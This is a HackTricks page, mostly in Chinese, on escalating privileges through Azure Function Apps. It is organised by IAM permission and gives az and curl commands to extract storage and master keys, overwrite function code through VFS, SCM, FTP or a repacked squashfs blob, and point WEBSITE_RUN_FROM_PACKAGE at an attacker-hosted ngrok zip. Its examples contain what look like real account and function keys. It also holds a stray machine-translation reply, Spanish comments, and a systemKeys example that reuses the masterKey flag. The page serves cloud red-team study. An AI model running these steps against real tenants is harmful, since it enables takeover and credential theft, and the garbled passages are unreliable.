Az - Functions App Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Function Apps

Check the following page for more information:

Az - Function Apps

Bucket 读/写

如果有权限读取存放函数数据的 Storage Account 中的容器,就可能找到可能包含 函数执行的代码不同容器(自定义的或预定义名称的容器)。

一旦找到函数代码的存放位置,且对其具有写权限,就可以让函数执行任意代码,从而提升对附加到该函数的 managed identities 的权限。

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

函数的代码通常存储在 file share 中。只要有足够的访问权限,就可以修改代码文件并使函数加载任意代码,从而提升附加到该 Function 的 managed identities 的权限。

这种部署方式通常会配置设置 WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGWEBSITE_CONTENTSHARE,你可以从

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

这些配置将包含 Storage Account Key,Function 可以使用它来访问代码。

Caution

如果拥有足够的权限连接到 File Share 并 修改正在运行的脚本,就可能在 Function 中执行任意代码并提升权限。

下面的示例使用 macOS 连接到 file share,但建议也查看以下页面以获取有关 file shares 的更多信息:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

通常也常见在 function app 所使用的 Storage Account 容器中的 function-releases 文件夹里找到这些 zip 发布包,该容器通常被命名为 function-releases

通常这种部署方式会在以下位置设置 WEBSITE_RUN_FROM_PACKAGE 配置:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

This config will usually contain a SAS URL to download the code from the Storage Account.

Caution

拥有足够权限连接到 blob container that contains the code in zip,就可能在 Function 中执行任意代码并提升权限。

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

与前一种情况类似,如果部署是通过 Github Actions 完成的,可能会在 Storage Account 中找到文件夹 github-actions-deploy,其中包含代码的 zip,并且在设置 WEBSITE_RUN_FROM_PACKAGE 中有指向该 zip 的 SAS URL。

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

如果有权限读取存储 function 数据的 Storage Account 内的容器,就可以找到容器 scm-releases。在其中可以找到以 Squashfs filesystem file format 存储的最新版本,因此可以读取该 function 的代码:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

还可以在 storage account 中找到存储的 master and functions keys,位于容器 azure-webjobs-secrets<app-name> 文件夹内的 JSON files 中。

Caution

如果拥有足够权限连接到包含代码的 blob container(contains the code in a zip extension file(which actually is a squashfs)),就可能在 Function 中执行任意代码并 escalate privileges。

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

此权限允许列出指定函数的 function、master 和 system keys,但不包括 host key,可通过:

az functionapp keys list --resource-group <res_group> --name <func-name>

使用 master key 也可以通过类似以下的 URL 获取源代码:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

并要使用以下方式更改函数中正在执行的代码

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

此权限允许通过以下方式获取指定函数的默认密钥:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

使用获取的默认密钥调用函数:

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

此权限允许为指定函数创建或更新函数密钥,方式为:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

此权限允许为指定的函数创建/更新主密钥,方法是:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

记住,使用此 key 你也可以访问源代码并按前面所述进行修改!

Microsoft.Web/sites/host/systemKeys/write

此权限允许以以下方式为指定函数创建/更新系统 function key:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

你还没有提供要翻译的内容或密钥。请粘贴文件内容或在“Use the key:”后提供密钥,我会按要求把相关英文翻译成中文。

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

此权限允许获取函数的设置。在这些配置中,可能会找到默认值 AzureWebJobsStorageWEBSITE_CONTENTAZUREFILECONNECTIONSTRING,其中包含用于以 FULL 权限访问该函数的 blob storage 的 account key。

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

此外,此权限还允许获取 SCM username and password(如果已启用),方法如下:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

这些权限允许列出函数的配置值(如前所述),并且还能修改这些值。这很有用,因为这些设置指明了函数内部要执行的代码所在位置。

因此可以将设置 WEBSITE_RUN_FROM_PACKAGE 的值指向一个包含新代码的 URL zip 文件,从而在 web 应用中执行该新代码:

  • 首先获取当前配置
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • 创建你希望函数运行的代码并公开托管它
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • 修改函数,保留之前的参数,并在末尾添加配置 WEBSITE_RUN_FROM_PACKAGE,指向包含代码的 zip 的 URL。

  • 下面是我的 示例设置(你需要将这些值替换为你自己的),注意末尾的值 "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip",这是我托管该应用的位置。

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

有了此权限,就可以通过 web 控制台(或通过以下 API 端点)修改应用程序的代码

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

该权限允许列出所有发布配置文件,这些基本上包含 basic auth credentials

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

另一种选择是设置你自己的 creds 并使用它们:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • 如果 REDACTED 凭据

如果你看到这些凭据是 REDACTED,这是因为你 need to enable the SCM basic authentication option,为此你需要第二个权限 (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • 方法 SCM

然后,您可以使用这些 basic auth credentials to the SCM URL 来访问您的 function app 的 SCM URL,并获取 env variables 的值:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

注意 SCM username 通常是字符 “$” 后跟应用名称,所以:$<app-name>.

你也可以通过 https://<app-name>.scm.azurewebsites.net/BasicAuth 访问该网页

设置值包含存储 function app 数据的存储帐户的 AccountKey,可用于控制该存储帐户。

  • 方法 FTP

使用以下方式连接到 FTP 服务器:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

请注意 FTP username 通常的格式是 <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

此权限允许通过 VFS 读取应用的源代码

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

有了这个权限,可以 get the admin token,随后可用于检索 master key,从而访问并修改函数的代码。

然而,在我最近的检查中未返回任何 token,因此它可能已被禁用或不再可用,但下面是你可以如何操作:

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

此权限允许 enable functions(启用可能已被禁用的 functions,或将其禁用)。

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

也可以通过以下 URL 查看函数是否已启用或禁用(括号中为所需权限):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

有了这些权限,可以修改 function app 运行的容器(该 function app 被配置为运行容器)。这将允许攻击者将一个恶意的 azure function container app 上传到 docker hub(例如),并让该函数去执行它。

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

拥有这些权限可以将新的 user managed identity 附加到一个 function。如果该 function 被妥协,这将允许对任何 user managed identity 提权。

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

远程调试

也可以像 explained in the docs 所述那样连接并调试正在运行的 Azure function。然而,默认情况下 Azure 会在 2 天后将此选项关闭,以防开发者忘记从而留下易受攻击的配置。

可以使用以下命令检查某个 Function 是否启用了调试:

az functionapp show --name <app-name> --resource-group <res-group>

具有权限 Microsoft.Web/sites/config/write 时,也可以将函数置于调试模式(下面的命令还需要权限 Microsoft.Web/sites/config/list/actionMicrosoft.Web/sites/config/ReadMicrosoft.Web/sites/Read)。

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

更改 Github repo

我尝试通过执行以下命令更改进行部署的 Github repo,但即使更改了,新代码也没有被加载(可能因为它期望由 Github Action 更新代码)。
此外,托管身份联合凭证并未更新以允许新仓库,所以这看起来没什么用。

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks